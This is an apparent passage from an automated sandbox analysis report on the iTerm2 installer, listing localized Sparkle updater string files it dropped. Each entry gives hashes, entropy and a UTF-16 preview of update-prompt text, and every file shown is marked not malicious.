Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. ... .s.t.a.t.o. .s.c.a.r.i.c.a.t.o. .e.d. ... .p.r.o.n.t.o. .p.e.r. .e.s.s.e.r.e. .u.t.i.l.i.z.z.a.t.o.!. .D.e.s.i.d.e.r.i. .i.n.s.t.a.l.l.a.r.e. .e. .r.i.a.v.v.i.a.r.e. . .%.1.$.@. .o.r.a.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".I.m.p.o.s.s.i.b.i.l.e. .a.g.g.i.o.r.n.a.r.e. .%.1.$.@. .q.u.a.n.d.o. .v.i.e.n.e. .e.s.e.g.u.i.t.o. .d.a. .u.n. .v.o.l.u.m.e. .d.i. .s.o.l.a. .l.e.t.t.u.r.a. .c.o.m.e. .u.n.. i.m.m.a.g.i.n.e. .d.i.s.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/ja.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text
Category:	dropped
Size (bytes):	8516
Entropy (8bit):	4.304934571771806
Encrypted:	false
SSDEEP:	96:MNo4VBulJX8dj3n3nQUiApRUxM6jUupGEmZnmcQnO1j6JXJLM2hfkcJGvMMkzM/T:MCE3n3nQUjU6BtmNnO1SZ42bJGvkzKv
MD5:	193CCC2BCC746D824B326A8999EEEACD
SHA1:	A4EA8CAF834B0984EC4DEBE514462E076F2476FA
SHA-256:	8E767EEA091C8E87A90E91FAFC15DFE22DD3C619BBF6B2F1BC97AAA4FA87B5E1
SHA-512:	605E55F7085DB1C2385C9BD378B2EE1B43BF9524B739C313F3D97B8CC6D55FF0244D75EC4A668ACC56B226D1DE7A1E985CD8F4B0300CBC8D46EE6A53157F2425
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@.L0.0.0.0.0.0.0U0.0~0W0_0!. .S0.0o0....j0.0.0.0.0.0.0g0Y0.0.NY0P0%.1.$.@..0.0.0.0.0.0.0W0f0.Qw..RW0~0Y0K0?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@.L0.0.0.0.0.0.0U0.0~0W0_0!. ..NY0P0 .%.1.$.@. ..0.0.0.0.0.0.0W0f0.Qw..RW0~0Y0K0?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/ko.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text
Category:	dropped
Size (bytes):	6204
Entropy (8bit):	4.275183883783702
Encrypted:	false
SSDEEP:	96:M4pBu2l3w35QUiRRUxosW6YxcjxwRmF3nEmCn2/n6WOvOVqTV:M0l3w35QUIU6dp8F3Un2/5vV6
MD5:	7163E65587615B1E11A65C673FAD612F
SHA1:	66276E3BF414D1BF9422DFF5BA24762ED8AAFE76
SHA-256:	A39B5CD0514D74677304CD911A964344529817B24C14D65B7CFCA1DD2BABB7B7
SHA-512:	D567882C371B243C234FCEFA95A1196CD8A624B3C9B32ABE03DCDC3A06FAB7A87FC71523BD4F112C95F1D069583076A27B6A0CBFBB93510AF077B13D88ACD39D
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@.t.(...). .....\... ............. ...\.....D. ...p.t...X... ....... .X.........L.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".%.1.$.@.t.(...). .....l. .t....... .C.D. ...\|.t... ...@. .}.0. ..... ...h..... ......... ...<...\. ...p.t... .`. ... ........... .%.1.$.@.D.(.\|.). .Q.....\..... ...T.\. .t...X... ..... .....t. .......$...".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/nb.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	9338
Entropy (8bit):	3.4087357454467995
Encrypted:	false
SSDEEP:	192:M27q3k3lQUuU6Jx/0GWHsyZJXi2nxVCrJpkq1/i42a:Z4/si2xVCrJpkq1Ua
MD5:	D570072AA1A1DC617F11B9FD3591B9F1
SHA1:	65D5B614210148288DCF36E5A6255BCEA390B34D
SHA-256:	0A21A95B19F216A70BEF4604698EAD65ABD9A9DFCBDC8FE097FE7C55FFE3F72B
SHA-512:	3C903E7F627A78223A893AF8412C2F19F0D384F8DB98BC2867B774CF54D3DA76D23DB626F236C8FEA4511EC081423D86995E15874B51DA35B542F021EE224468
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. . .e.r. .l.a.s.t.e.t. .n.e.d. .o.g. .e.r. .k.l.a.r. .t.i.l. .b.r.u.k.!. . .D.e.t.t.e. .e.r. .e.n. .v.i.k.t.i.g. .o.p.p.d.a.t.e.r.i.n.g.;. ...n.s.k.e.r. .d.u. ... .i.n.s.t.a.l.l.e.r.e. .o.g. .r.e.s.t.a.r.t.e. .%.1.$.@. .n...?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .e.r. .l.a.s.t.e.t. .n.e.d. .o.g. .e.r. .k.l.a.r. .t.i.l. .b.r.u.k.!. ...n.s.k.e.r. .d.u. ... .i.n.s.t.a.l.l.e.r.e. .o.g. .r.e.s.t.a.r.t.e. .%.1.$.@. .n...?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/nl.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	8834
Entropy (8bit):	3.3988041519007752
Encrypted:	false
SSDEEP:	192:Mo3uw3ylQUUUuKb1jW3nc7ncJxkNCtH42X:o/KVHgyc7ncJxkNCtBX
MD5:	02EE6ED445DCB87B8B585844339D50A8
SHA1:	DC1B030D070C0B1B70BE5AF4ED8CD31B4F7A6E65
SHA-256:	ACE6F719CFDE4D4661B3F414BACA41FECB553CD91253BE6F64A4792CD71D4DE9
SHA-512:	BF1F824FE5B53DFD6C6BC25512192F9175A51ADB775D8AE47CC31670A851417C36622DCDCCBE81481B3BD41480D1CFDC06202ADDE0C12D6FF84BCC79067263FE
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .i.s. .g.e.d.o.w.n.l.o.a.d. .e.n. .k.l.a.a.r. .o.m. .t.e. .i.n.s.t.a.l.l.e.r.e.n.!. .W.i.l. .j.e. .%.1.$.@. .n.u. .i.n.s.t.a.l.l.e.r.e.n. .e.n. .h.e.r.s.t.a.r.t.e.n.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".%.1.$.@. .k.a.n. .n.i.e.t. .w.o.r.d.e.n. .g.e...p.d.a.t.e.t.,. .o.m.d.a.t. .h.e.t. .v.a.n.u.i.t. .e.e.n. .a.l.l.e.e.n.-.l.e.z.e.n.-. .o.f. .t.i.j.d.e.l.i.j.k.e. .l.o.c.a.t.i.e. .g.e.o.p.e.n.d. .i.s... .V.e.r.p.l.a.a.t.s. .

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/pl.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode C program text, with very long lines
Category:	dropped
Size (bytes):	8478
Entropy (8bit):	3.5268749806085373
Encrypted:	false
SSDEEP:	192:BbK0PkzP7sJ3x3poU5m01bopR+yDKlU+no5dGeuZ:DPQPQak1b6+yDO7o54T
MD5:	0927399C8C1DF3BBFC163044761A16CE
SHA1:	B5B28269A48A2E3BC2EE70F17ECFF3C5D3B4B01D
SHA-256:	C86B7E81CA3A9F39FB10C1AB623E505067F2FC0C7F1DC30794F8BBBF683074F9
SHA-512:	41D95652285AAF0BC092EE907AA9FFD48553DE8E764C6CBE036F0EE44C07E4DE249E6EF0912017FD43516A187719B0459B88D6171CFB937EA2C8CDFC91AB3E5E
Malicious:	false
Reputation:	low
Preview:	../.. .".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.".;. ../...".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .z.o.s.t.a.B. .p.o.b.r.a.n.y. .i. .j.e.s.t. .g.o.t.o.w.y. .d.o. .u.\|.y.c.i.a.!. .C.z.y. .c.h.c.e.s.z. .t.e.r.a.z. .z.a.i.n.s.t.a.l.o.w.a... .i. .p.o.n.o.w.n.i.e. .u.r.u.c.h.o.m.i... .%.1.$.@.?.".;...../.*. .".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/pt_BR.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	9638
Entropy (8bit):	3.4246456797574294
Encrypted:	false
SSDEEP:	96:MNRufN4RsMf7Bur2B3D/3PIQUiZQRUx3wJT5I7NI7ZgI7+I781mHRnsTcjRn4du5:M+C3z3wQUZUSNNjRn4duvY42YJmkYa1D
MD5:	9A1321CC72C5AD2BFD162CE748079B21
SHA1:	7C204C3C43EC80951812BFE7ED2094F18B2D2C0B
SHA-256:	BCA96F085F42D13929BF4E65CD398BF31654793725621826DE60D4FB41423CB4
SHA-512:	24165B0F3E064311894331EEEA38406840CBBBC8FCF810E51CD55AD36C512A66B5636CC8146AB5AA4E4A953E3AADB3AE43E9094DBCD9576C86C9036A7257243C
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .f.o.i. .t.r.a.n.s.f.e.r.i.d.o. .e. .e.s.t... .p.r.o.n.t.o. .p.a.r.a. .u.s.o.!. .E.s.t.a. ... .u.m.a. .a.t.u.a.l.i.z.a.....o. .i.m.p.o.r.t.a.n.t.e.;. .d.e.s.e.j.a. .i.n.s.t.a.l.a.r. .e. .r.e.a.b.r.i.r. .o. .%.1.$.@. .a.g.o.r.a.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .f.o.i. .t.r.a.n.s.f.e.r.i.d.o. .e. .e.s.t... .p.r.o.n.t.o. .p.a.r.a. .u.s.o.!. .D.e.s.e.j.a. .i.n.s.t.a.l.a.r. .e. .r.e.a.b.r.i.r. .o. .%.1.$.@. .a.g.o.r.a.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/pt_PT.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	7840
Entropy (8bit):	3.4102252552032915
Encrypted:	false
SSDEEP:	96:M40AzP1BuyX3i/3+WQUikMRQRUxos91zDcI7HXI7ZcXI7MXI7shkmoqugcj6nbd7:MEX3Y3ZQU7U6iFZvoj6nbdzXxYM9
MD5:	D55C9834E53DD8E471905BC735CD6789
SHA1:	0B3559DAA191134650A1800567F0B53A8AA8687F
SHA-256:	41E767D868A4018A151D43058D9B380D8619D0E2D0B592920894D00D26F45AE1
SHA-512:	0E947C51E06B23AFDD52D5A28A54AAA797DB3C960EA32E683314771F068D35061F83037091E25D4C815B6239E05B4DC9FD83D0C44C9FBAACB773042F5887C78F
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".O. .%.1.$.@. .%.2.$.@. .f.o.i. .t.r.a.n.s.f.e.r.i.d.o. .e. .e.s.t... .p.r.o.n.t.o. .a. .i.n.s.t.a.l.a.r.!. .G.o.s.t.a.r.i.a. .d.e. .o. .f.a.z.e.r. .a.g.o.r.a. .e. .r.e.i.n.i.c.i.a.r. .o. .%.1.$.@. .p.o.s.t.e.r.i.o.r.m.e.n.t.e.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".O. .%.1.$.@. .n...o. .p.o.d.e. .s.e.r. .a.c.t.u.a.l.i.z.a.d.o. .q.u.a.n.d.o. .e.s.t.i.v.e.r. .a. .s.e.r. .e.x.e.c.u.t.a.d.o. .a. .p.a.r.t.i.r. .d.e. .u.m. .v.o.l.u.m.e. .a.p.e.n.a.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/ro.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	9790
Entropy (8bit):	3.4718380566924147
Encrypted:	false
SSDEEP:	192:8rc47/3q3/QUMU6U8ZBDqgnpuzhJPkXL6ER2N:KF7bFjZBDfpuzhJPkXL6jN
MD5:	0883C19137A17C3EF3326D085E1FFA38
SHA1:	0D04A045CD86B2E5E90DD06BB37C123D6E58DC0B
SHA-256:	1DA921B15264A55D22880736B66B90FE9D74EDD507EF4696238B6EB43197E4FB
SHA-512:	862BC028FA6B7468B7A6A36E46B582D1A488B3EC9C005B04C03C2694C76FC98E9001C3EF5ED218AAEC8A6777C295BCD62B48BEF56F6D0C8D06CB81BCE6EC30A6
Malicious:	false
Reputation:	low
Preview:	......".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .a. .f.o.s.t. .d.e.s.c...r.c.a.t... ...i. .e.s.t.e. .g.a.t.a. .d.e. .u.t.i.l.i.z.a.r.e.!. .A.c.e.a.s.t.a. .e.s.t.e. .o. .a.c.t.u.a.l.i.z.a.r.e. .i.m.p.o.r.t.a.n.t...;. .d.o.r.e...t.i. .s... .o. .i.n.s.t.a.l.e.z.i. ...i. .s... .r.e.l.a.n.s.a...i. .%.1.$.@. .a.c.u.m.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .a. .f.o.s.t. .d.e.s.c...r.c.a.t... ...i. .e.s.t.e. .g.a.t.a. .d.e. .u.t.i.l.i.z.a.r.e.!. .D.o.r.e...t.i. .s... .o. .i.n.s.t.a.l.e.z.i. ...i. .s... .r.e.l.a.n.s.a...i. .%.1.$.@. .a.c.u.m.?.".

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/ru.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	7840
Entropy (8bit):	4.137248766294037
Encrypted:	false
SSDEEP:	96:M4FSFaBuyPPP3U3lQUiVRUxosB4Vy49qQGymZxxEMMnJSOrUCYaENV2IaLM27c:MoSFGP3U3lQUIU62xZxxenJSvCYad42w
MD5:	8421BFC26C90520412FBB2CA41EA8176
SHA1:	9E6D42C09484C54CD91586A200717B5489069FA2
SHA-256:	FDA8A82C2FC8A4B8E1C0659636BA66CEF845AE315C1F103A657B5A81D7B7AE30
SHA-512:	C76778886BAB774A20BC140154BEE7820E1ACDDE2A9F02662FC4D3D557CC7056047773DDCEEAD41783333B41033E12B922B41197E282A290919A2A97459FE7B0
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .7.0.3.@.C.6.5.=. .8. .3.>.B.>.2. .:. .8.A.?.>.;.L.7.>.2.0.=.8.N.!. .%.>.B.8.B.5. .C.A.B.0.=.>.2.8.B.L. .8. .?.5.@.5.7.0.?.C.A.B.8.B.L. .%.1.$.@.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. ."...>. .2.@.5.<.O. .@.0.1.>.B.K. .%.1.$.@. .A. .B.>.<.0.,. .?.@.5.4.=.0.7.=.0.G.5.=.=.>.3.>. .B.>.;.L.:.>. .4.;.O. .G.B.5.=.8.O.,. .:.0.:. .=.0.?.@.8.<.5.@.,. .>.1.@.0.7.0. .4.8.A.:.0. .8.;.8. .=.0.:.>.?.8.B.5.;.O. .=.0. .>.?.B.8.G.5.A.:.8.E. .

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/sk.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	7532
Entropy (8bit):	3.5243036100833973
Encrypted:	false
SSDEEP:	192:MAW7UWWTvD+3Sv3OmQUu8U6z9K707+kOWn5DATIoRaa:anW8EZ4Yz5DATNsa
MD5:	8ED0722D528BFD874A03A1B4B71F3DD6
SHA1:	FE24468BE972FA4CA8B7EA1CFE18EBD197014A13
SHA-256:	0EBEC3D8285A90FEC88F348A3D42C08DF43FFE89CB3242F4830FB2C9F623B290
SHA-512:	D31975FCD83DB6D322774CA738298D40EF5D4F7DB508A467E99544F715F2408B3E27645B0E4C4FD34DE53AA357B73F2BAEEA885E79472277ED45881C2C4805F6
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".A.p.l.i.k...c.i.a. .%.1.$.@. .%.2.$.@. .b.o.l.a. .p.r.e.v.z.a.t... .a. .j.e. .p.r.i.p.r.a.v.e.n... .n.a. .p.o.u.~.i.t.i.e.!. .C.h.c.e.t.e. .t.e.r.a.z. .n.a.i.n.a.t.a.l.o.v.a.e. .a. .n...s.l.e.d.n.e. .z.n.o.v.u. .s.p.u.s.t.i.e. .%.1.$.@.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".A.p.l.i.k...c.i.u. .%.1.$.@. .n.e.m.o.~.n.o. .a.k.t.u.a.l.i.z.o.v.a.e.,. .a.k. .j.e. .s.p.u.s.t.e.n... .z.o. .z.v...z.k.u. .s. .p.r...v.a.m.i. .l.e.n. .n.a. .....t.a.n.i.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/sl.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	7928
Entropy (8bit):	3.4690033051526363
Encrypted:	false
